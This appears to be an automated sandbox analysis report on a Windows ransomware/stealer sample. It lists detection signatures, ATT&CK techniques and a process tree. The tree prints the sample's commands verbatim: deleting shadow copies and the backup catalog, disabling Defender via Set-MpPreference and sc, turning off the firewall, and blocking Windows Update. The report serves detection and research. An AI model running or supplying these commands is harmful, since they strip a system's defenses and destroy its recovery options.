Overview

overview

10

Static

static

10

2026-08-09...lc.exe

windows10-2004-x64

10

2026-08-09...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 04:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-09_eeb8bfc8b1dfa69420cecc94180fee0f_cobalt-strike_icedid_luca-stealer_njrat_qilin_stealc.exe
  • Size 712KB
  • Sample260809-fddd1agf84
  • SHA256 fc8f693076e884028e26ddb05c921c315e9af9c6fcddede76d4bbb2885419b90
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasionevasionexecutionimpactpersistenceprivilege_escalationransomwarespywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs
  • Detects executables containing commands for clearing Windows Event Logs 1 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Detects executables using Telegram Chat Bot 1 IoCs
  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Renames multiple (5089) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Looks for VMWare services registry key. 1 TTPs 1 IoCs
    defense_evasion
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    defense_evasion
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 48 IoCs
  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe 15 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-09_eeb8bfc8b1dfa69420cecc94180fee0f_cobalt-strike_icedid_luca-stealer_njrat_qilin_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-09_eeb8bfc8b1dfa69420cecc94180fee0f_cobalt-strike_icedid_luca-stealer_njrat_qilin_stealc.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Enumerates VirtualBox registry keys
    • Looks for VMWare services registry key.
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      2⤵
        PID:5452
      • C:\Windows\System32\cmd.exe
        cmd.exe /c vssadmin delete shadows /all /quiet & vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:280
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5976
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=C: /on=C: /maxsize=1MB
          3⤵
          • Interacts with shadow copies
          PID:1508
      • C:\Windows\System32\cmd.exe
        cmd.exe /c wbadmin delete catalog -quiet 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          3⤵
          • Deletes backup catalog
          PID:4584
      • C:\Windows\System32\cmd.exe
        cmd.exe /c powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}" 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1852
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "& {Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -SignatureDisableUpdateOnStartupWithoutEngine $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableEmailScanning $true -DisableRemovableDriveScanning $true -DisableScanOnRealtimeEnable $true -MAPSReporting 0 -SubmitSamplesConsent 2}"
          3⤵
          • Disables one or more Microsoft Defender components
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2032
      • C:\Windows\System32\cmd.exe
        cmd.exe /c sc stop WinDefend 2>nul & sc config WinDefend start=disabled 2>nul & sc stop SecurityHealthService 2>nul & sc config SecurityHealthService start=disabled 2>nul & sc stop WdNisSvc 2>nul & sc config WdNisSvc start=disabled 2>nul & sc stop Sense 2>nul & sc config Sense start=disabled 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          3⤵
          • Launches sc.exe
          PID:1056
        • C:\Windows\system32\sc.exe
          sc config WinDefend start=disabled
          3⤵
          • Launches sc.exe
          PID:3848
        • C:\Windows\system32\sc.exe
          sc stop SecurityHealthService
          3⤵
          • Launches sc.exe
          PID:2088
        • C:\Windows\system32\sc.exe
          sc config SecurityHealthService start=disabled
          3⤵
          • Launches sc.exe
          PID:932
        • C:\Windows\system32\sc.exe
          sc stop WdNisSvc
          3⤵
          • Launches sc.exe
          PID:2472
        • C:\Windows\system32\sc.exe
          sc config WdNisSvc start=disabled
          3⤵
          • Launches sc.exe
          PID:4164
        • C:\Windows\system32\sc.exe
          sc stop Sense
          3⤵
          • Launches sc.exe
          PID:4812
        • C:\Windows\system32\sc.exe
          sc config Sense start=disabled
          3⤵
          • Launches sc.exe
          PID:484
      • C:\Windows\System32\cmd.exe
        cmd.exe /c netsh advfirewall set allprofiles state off 2>nul & netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound 2>nul & netsh advfirewall set allprofiles settings inboundusernotification disable 2>nul & netsh advfirewall set allprofiles settings remotemanagement disable 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set allprofiles state off
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2860
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3460
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set allprofiles settings inboundusernotification disable
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1300
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set allprofiles settings remotemanagement disable
          3⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4368
      • C:\Windows\System32\cmd.exe
        cmd.exe /c sc stop wuauserv 2>nul & sc config wuauserv start=disabled 2>nul & sc stop UsoSvc 2>nul & sc config UsoSvc start=disabled 2>nul & sc stop BITS 2>nul & sc stop DoSvc 2>nul & sc config DoSvc start=disabled 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f 2>nul & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f 2>nul
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:5136
        • C:\Windows\system32\sc.exe
          sc config wuauserv start=disabled
          3⤵
          • Launches sc.exe
          PID:3876
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:4600
        • C:\Windows\system32\sc.exe
          sc config UsoSvc start=disabled
          3⤵
          • Launches sc.exe
          PID:6096
        • C:\Windows\system32\sc.exe
          sc stop BITS
          3⤵
          • Launches sc.exe
          PID:4580
        • C:\Windows\system32\sc.exe
          sc stop DoSvc
          3⤵
          • Launches sc.exe
          PID:3404
        • C:\Windows\system32\sc.exe
          sc config DoSvc start=disabled
          3⤵
          • Launches sc.exe
          PID:4160
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /t REG_DWORD /d 1 /f
          3⤵
          • Modifies registry key
          PID:4932
        • C:\Windows\system32\reg.exe
          reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /t REG_DWORD /d 1 /f
          3⤵
          • Modifies registry key
          PID:820
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2140
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3776
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:5884
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:1860

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            3
            T1059

            PowerShell

            1
            T1059.001

            Windows Command Shell

            1
            T1059.003

            System Services

            1
            T1569

            Service Execution

            1
            T1569.002

            Windows Management Instrumentation

            1
            T1047

            Persistence

            Create or Modify System Process

            4
            T1543

            Windows Service

            4
            T1543.003

            Event Triggered Execution

            1
            T1546

            Netsh Helper DLL

            1
            T1546.007

            Privilege Escalation

            Create or Modify System Process

            4
            T1543

            Windows Service

            4
            T1543.003

            Event Triggered Execution

            1
            T1546

            Netsh Helper DLL

            1
            T1546.007

            Defense Evasion

            Direct Volume Access

            1
            T1006

            Impair Defenses

            5
            T1562

            Disable or Modify System Firewall

            1
            T1562.004

            Disable or Modify Tools

            3
            T1562.001

            Indicator Removal

            3
            T1070

            File Deletion

            3
            T1070.004

            Modify Registry

            3
            T1112

            Virtualization/Sandbox Evasion

            2
            T1497

            Credential Access

            Credentials from Password Stores

            2
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Windows Credential Manager

            1
            T1555.004

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Peripheral Device Discovery

            1
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            1
            T1082

            Virtualization/Sandbox Evasion

            2
            T1497

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Inhibit System Recovery

            3
            T1490

            Service Stop

            1
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2032-4-0x000002191F2E0000-0x000002191F302000-memory.dmp
            Download

            memory/2032-7-0x00000219374B0000-0x00000219374CE000-memory.dmp
            Download

            memory/2032-8-0x0000021937800000-0x00000219378B2000-memory.dmp
            Download

            memory/2032-9-0x0000021937460000-0x000002193746A000-memory.dmp
            Download

            memory/5452-1-0x0000000140000000-0x00000001400B7000-memory.dmp
            Download